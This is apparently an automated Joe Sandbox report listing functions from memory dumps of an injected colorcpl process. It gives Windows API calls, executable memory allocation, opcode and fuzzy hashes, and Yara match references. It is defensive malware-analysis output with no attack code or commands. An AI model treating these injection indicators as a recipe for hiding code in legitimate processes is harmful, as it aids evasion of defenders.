Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,068B9CE3,?,068C4BA7,068B9CE3,FFFFFFFF,?,?,FFFFFFFF,068B9CE3,068C4BA7,?,068B9CE3,00000060,00000000,00000000), ref: 068CA36D

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: a5a498371414b9fb76d347114fd0aa86b32175f79629b54fda3147a588b6ee07
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: AFF0BDB2210208AFCB48CF88DC84EEB77ADAF8C754F158248BA1D97240C630E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 068CA322 Relevance: 1.5, APIs: 1, Instructions: 39
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,068B9CE3,?,068C4BA7,068B9CE3,FFFFFFFF,?,?,FFFFFFFF,068B9CE3,068C4BA7,?,068B9CE3,00000060,00000000,00000000), ref: 068CA36D

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e14685e1336d3e8bedad5cc8f4a0513404ab599c5713b13c8e7169f06608a5db
Instruction ID: 277013b9516007b8060371f4f2946f73513a5f3fbd1a4473af8d8d2eded39b9a
Opcode Fuzzy Hash: e14685e1336d3e8bedad5cc8f4a0513404ab599c5713b13c8e7169f06608a5db
Instruction Fuzzy Hash: BFF07AB2211108AFCB48CF98DC94EEB77A9AF8C754F158248FA1DE7240D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 068CA3D0 Relevance: 1.5, APIs: 1, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(068C4D62,5EB65239,FFFFFFFF,068C4A21,?,?,068C4D62,?,068C4A21,FFFFFFFF,5EB65239,068C4D62,?,00000000), ref: 068CA415

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: bf2657d175ab1ee0ec50b34b97c45c070d900114d1b50623f739481fc5b23299
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 24F0A4B2210208AFCB18DF89DC80EEB77ADAF8C754F158248BA1D97241D630E8118BA0

Uniqueness

Uniqueness Score: -1.00%

Function 068CA373 Relevance: 1.5, APIs: 1, Instructions: 34
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL(00000060,068B9CE3,?,068C4BA7,068B9CE3,FFFFFFFF,?,?,FFFFFFFF,068B9CE3,068C4BA7,?,068B9CE3,00000060,00000000,00000000), ref: 068CA36D

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c9fc46358d2c376686e9dfda9f2929a5e029bee3152b92d67e3f90868ff24a53
Instruction ID: cf8f5aa4f610f694ef1bc52ea21883f220c613854e2c20ca4d22613ff4e02685
Opcode Fuzzy Hash: c9fc46358d2c376686e9dfda9f2929a5e029bee3152b92d67e3f90868ff24a53
Instruction Fuzzy Hash: 34F0ACB2208119AF8B48CED8EC90CEF77EDAB8C724714860DF60CC3240D631E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 068CA4FA Relevance: 1.5, APIs: 1, Instructions: 31
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,068CB0F4,?,00000000,?,00003000,00000040,00000000,00000000,068B9CE3), ref: 068CA539

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: c3c0fdddf0a4fc09e274b8f9c8a92c48767341bfd8c440458c0ed10aac57b8f0
Instruction ID: 37f5792efb35ba63ec90836d83a88efb1021cd6f662545d6a399aad1b70cfdb5
Opcode Fuzzy Hash: c3c0fdddf0a4fc09e274b8f9c8a92c48767341bfd8c440458c0ed10aac57b8f0
Instruction Fuzzy Hash: 22F0F8B6210118AFCB14DF99DC81EEB77A9AF88354F158648BA1997241C631E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 068CA500 Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,068CB0F4,?,00000000,?,00003000,00000040,00000000,00000000,068B9CE3), ref: 068CA539

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: 98d3bb8579724188f6404a7ec8cdbf3bf192a6b4d5221850172bdfafc4371471
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: 36F015B2210208AFCB18DF89DC80EAB77ADAF88754F118248BE1897241C630F810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 068CA450 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(068C4D40,?,?,068C4D40,068B9CE3,FFFFFFFF), ref: 068CA475

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: a75958a0433d2eac386b821375f1a0ea314142c0e6c3520249a18616b4457d2f
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: FBD01776200218ABD714EB98DC85EAB7BACEF48760F154599BA189B242C570FA0087E0

Uniqueness

Uniqueness Score: -1.00%

Function 1E672EA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672EAA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 754b803eda38c00960d7d1c03e790935bb43a32c497508ad55910375f6bf82fb
Instruction ID: ef700ba2d77f73054f99c6f1687634d59260131fff3f4ffb96686b5a95367860
Opcode Fuzzy Hash: 754b803eda38c00960d7d1c03e790935bb43a32c497508ad55910375f6bf82fb
Instruction Fuzzy Hash: CC90027120150402D14075595444B4A410647D0701FD9C111A5064518F86598ED56665

Uniqueness

Uniqueness Score: -1.00%

Function 1E672E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672E8A

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e0f5f1117366c143acd60e1b1e4f10c548ede9b153666a97905e5ed4408d6018
Instruction ID: 84a00bb0e1e12f66c975b296c349e4f513ee55a96abf5b0f1a0b2dca11045105
Opcode Fuzzy Hash: e0f5f1117366c143acd60e1b1e4f10c548ede9b153666a97905e5ed4408d6018
Instruction Fuzzy Hash: 7C90022160150502D10175595444A1A410B47D0741FD9C122A1024519FCA258A92A131

Uniqueness

Uniqueness Score: -1.00%

Function 1E672F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672F3A

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3ceb909ceb2ca730a1a748d57554ee082cfd72588ecc1f419b4d6ed40d07b195
Instruction ID: 5c1b6b1b5e38fd049c4fbdeec13bd5203dda8e0bcdce52343499bd82b618613d
Opcode Fuzzy Hash: 3ceb909ceb2ca730a1a748d57554ee082cfd72588ecc1f419b4d6ed40d07b195
Instruction Fuzzy Hash: FC90026134150442D10075595454F0A410687E1701FD9C115E1064518E8619CD526126

Uniqueness

Uniqueness Score: -1.00%

Function 1E672FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672FEA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 854c6e721b74415159bae7b04f9da712e27db917ec68e97370876000a6ef9306
Instruction ID: dfa2dd36ac6ba3ceef71a8150ce7e8c7d006fad16fa1bb7b9abbf9dc1dbaa0f4
Opcode Fuzzy Hash: 854c6e721b74415159bae7b04f9da712e27db917ec68e97370876000a6ef9306
Instruction Fuzzy Hash: F9900221211D0042D20079695C54F0B410647D0703FD9C215A0154518DC91589615521

Uniqueness

Uniqueness Score: -1.00%

Function 1E672FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672FBA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9ad84a99bfae30b1e97e7a1361afce147b7bfd3a6dc2c68808c34ed208994156
Instruction ID: 583a1cb58de0dd9773372a45f7a5590da0f7a9d3f89cabac6dc97551e053dfd1
Opcode Fuzzy Hash: 9ad84a99bfae30b1e97e7a1361afce147b7bfd3a6dc2c68808c34ed208994156
Instruction Fuzzy Hash: 5490022160150042414075699884D0A81066BE17117D9C221A0998514E855989655665

Uniqueness

Uniqueness Score: -1.00%

Function 1E672F90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672F9A

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4682ca865625ed9c7fbf01a104295cd7b8b81bcbe127fee51cf9c10c32332316
Instruction ID: 64bf0ec499710ea7db108468f7d2908089d173e95623a1bc2433a4e5778f80a4
Opcode Fuzzy Hash: 4682ca865625ed9c7fbf01a104295cd7b8b81bcbe127fee51cf9c10c32332316
Instruction Fuzzy Hash: 2C90023120190402D10075595854B0F410647D0702FD9C111A1164519E862589516571

Uniqueness

Uniqueness Score: -1.00%

Function 1E672C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672C7A

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fdf7bb576d04faab6fd9d053ce132f016a7ad87a579ddee71186f018ddfb5cb1
Instruction ID: 648bd8a6143cb404bd1a1c333238729a5e2af75eefcd38c9da45665eca1931b9
Opcode Fuzzy Hash: fdf7bb576d04faab6fd9d053ce132f016a7ad87a579ddee71186f018ddfb5cb1
Instruction Fuzzy Hash: CA90023120158802D11075599444B4E410647D0701FDDC511A442461CE869589917121

Uniqueness

Uniqueness Score: -1.00%

Function 1E672CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672CAA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bca0d0a35441fc9e6eea9535c764ee8f82209b7a518ea1804d142702b7453c6
Instruction ID: 3fd66909fbe8232652d13eb6555c10944c310d468aed51e4f209096a650ac53a
Opcode Fuzzy Hash: 4bca0d0a35441fc9e6eea9535c764ee8f82209b7a518ea1804d142702b7453c6
Instruction Fuzzy Hash: DD90023120150402D10079996448A4A410647E0701FD9D111A5024519FC66589916131

Uniqueness

Uniqueness Score: -1.00%

Function 1E672D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672D3A

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2363d21f9ee769a0bbac45cac7c3c3e6df5090589df608c256fb5d2127453109
Instruction ID: a02bc3a5828970b5b9fd4ef9b99b4df4b27c564101bca8431d06155905ba4c06
Opcode Fuzzy Hash: 2363d21f9ee769a0bbac45cac7c3c3e6df5090589df608c256fb5d2127453109
Instruction Fuzzy Hash: 1A90022130150003D14075596458A0A810697E1701FD9D111E0414518DD91589565222

Uniqueness

Uniqueness Score: -1.00%

Function 1E672D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672D1A

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 12c6aedcb644f06c0ed527a800fb8b968948e77fb119c8474479e7cda7220bc3
Instruction ID: f621065b029b29e987fd89dd8459a1646d5a9fc2526f823c56de7113b0f7cc04
Opcode Fuzzy Hash: 12c6aedcb644f06c0ed527a800fb8b968948e77fb119c8474479e7cda7220bc3
Instruction Fuzzy Hash: 0890022921350002D18075596448A0E410647D1702FD9D515A001551CDC91589695321

Uniqueness

Uniqueness Score: -1.00%

Function 1E672DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672DFA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a97af0093b119c5476044c6410aa1a09b7fa7c2c199281eba53c59597c801c47
Instruction ID: 26b9a3899a7ecfbb75adb7b07c3dfb6e92f65d46411330d78a40db0f9f78af96
Opcode Fuzzy Hash: a97af0093b119c5476044c6410aa1a09b7fa7c2c199281eba53c59597c801c47
Instruction Fuzzy Hash: AF90023120150413D11175595544B0B410A47D0741FD9C512A042451CE96568A52A121

Uniqueness

Uniqueness Score: -1.00%

Function 1E672DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672DDA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 74b7f10001f5272f3cd0af44b9757dbc64ac7f20f034259f49305663247d969d
Instruction ID: b8bcb91b51090ba4b65fe742a2ba50b7eb8ca2226d1c803c0de5e76063b79ec5
Opcode Fuzzy Hash: 74b7f10001f5272f3cd0af44b9757dbc64ac7f20f034259f49305663247d969d
Instruction Fuzzy Hash: 41900221242541525545B559544490B810757E07417D9C112A1414914D85269956D621

Uniqueness

Uniqueness Score: -1.00%

Function 1E672AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672ADA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: dce3e762726abb99499f533c1a0df16f6b1b62f69b271efdc5d6721fc7096a82
Instruction ID: b5b04a41627d9af262fae29781b810be1a0aac9c034c02bd4d3798c27e8789f2
Opcode Fuzzy Hash: dce3e762726abb99499f533c1a0df16f6b1b62f69b271efdc5d6721fc7096a82
Instruction Fuzzy Hash: E2900435311500030105FD5D1744D0F414747D57513DDC131F1015514DD731CD715131

Uniqueness

Uniqueness Score: -1.00%

Function 1E672B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672B6A

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 23ee61d954f18104160b29db66822e6be250943bead5a58b939368796718dafe
Instruction ID: d57ffc8a3c2b8bcdc3f3e95a08f45c307b329028321ad91935a128ae74b840c0
Opcode Fuzzy Hash: 23ee61d954f18104160b29db66822e6be250943bead5a58b939368796718dafe
Instruction Fuzzy Hash: 5F90026120250003410575595454A1A810B47E0701BD9C121E1014554EC52589916125

Uniqueness

Uniqueness Score: -1.00%

Function 1E672BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672BFA

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 158b29cd30467fc2b3696c8af15ddc23a9be40b87f5b567ac4bf7d1e51f04be3
Instruction ID: 2858eabc17f622829c43f1bdf8334eb0c7458b2437d3436063c46decaa2871cd
Opcode Fuzzy Hash: 158b29cd30467fc2b3696c8af15ddc23a9be40b87f5b567ac4bf7d1e51f04be3
Instruction Fuzzy Hash: 9090023120150802D18075595444A4E410647D1701FD9C115A0025618ECA158B5977A1

Uniqueness

Uniqueness Score: -1.00%

Function 068B9AA0 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86126272d51f96ab7da4d18d228e3ceab6bfdf91b0f697e6cad56a1ae4796482
Instruction ID: 9168b690133625cb102315c6add2417fcaa59956339b4297ac6fd8231b1759d2
Opcode Fuzzy Hash: 86126272d51f96ab7da4d18d228e3ceab6bfdf91b0f697e6cad56a1ae4796482
Instruction Fuzzy Hash: 862137B2C402185BCFA1D668AD52AFF73BCAB45214F04106DEA59D3240F634BA498BA2

Uniqueness

Uniqueness Score: -1.00%

Function 068B8310 Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 068B836A

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: d2c2f55616cc2e91339e74353f8e062c48f1561fafdf18b869e17d229d79b45f
Instruction ID: 22254a5bf15c63455c14260b7decf2d51da06135dca97efb6b38805a9795cb2c
Opcode Fuzzy Hash: d2c2f55616cc2e91339e74353f8e062c48f1561fafdf18b869e17d229d79b45f
Instruction Fuzzy Hash: 4701DB71A8022877E7A4A6989C02FFE776C9B40F50F050118FF04FA2C1E6A4790647F7

Uniqueness

Uniqueness Score: -1.00%

Function 068CA630 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000060,068B9CE3,?,?,068B9CE3,00000060,00000000,00000000,?,?,068B9CE3,?,00000000), ref: 068CA65D

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 75ec4853219053d72cad1e7d483d3836066820f99628920e81693547226516f5
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: B2E01AB12102086BD718DF59DC44EA777ACAF88750F014558B91857241C630E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 068CA790 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,068BF1C2,068BF1C2,0000003C,00000000,?,068B9D55), ref: 068CA7C0

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 388fb2e3538176031fc78c9aec77b28bca6289bb1a5907169925859016d80460
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: F8E01AB12002086BDB14DF49DC84EEB37ADAF88650F018154BA0857241C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 068CA5F0 Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(068C4526,?,068C4C9F,068C4C9F,?,068C4526,?,?,?,?,?,00000000,068B9CE3,?), ref: 068CA61D

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 48d6efd0184dda5ba7aab95750da5c4c56ad6cf6a254d6a3d5c67e75e45c37b3
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: B3E01AB1210208ABD714DF59DC40EA777ACAF88654F114558BA185B241C530F9108BB0

Uniqueness

Uniqueness Score: -1.00%

Function 068CA623 Relevance: 1.5, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000060,068B9CE3,?,?,068B9CE3,00000060,00000000,00000000,?,?,068B9CE3,?,00000000), ref: 068CA65D

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 7e8c20df18b2a0f0690c05218500ab998fe79e60dc3cb4faee0809998cf7464d
Instruction ID: e364f500d3ba0950423e08a6cb6f275f0d745fc23350a35792d28a89971d98d7
Opcode Fuzzy Hash: 7e8c20df18b2a0f0690c05218500ab998fe79e60dc3cb4faee0809998cf7464d
Instruction Fuzzy Hash: BAE0DFB90502854FDB14EF58E8C086B37D1AF803143219A0AE85CC3612C234D8598BB2

Uniqueness

Uniqueness Score: -1.00%

Function 068CA670 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 068CA698

Memory Dump Source

Source File: 00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 068B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_68b0000_colorcpl.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 0c5108b5104e4060dd1c60496f050fbba8456e533fbe53b338b3858f3f1edc6d
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 34D017726102187BD624EB98DC85FE777ACDF487A0F0181A9BA1CAB241C571FA008BE1

Uniqueness

Uniqueness Score: -1.00%

Function 1E672C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 1E672C24

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7860334fd3151ffab5e302573d5e960947494071251611b16406c048e083fc4e
Instruction ID: d641d42040beb6ad680de26e01beece68beb700971bf1b4389a32a5817741585
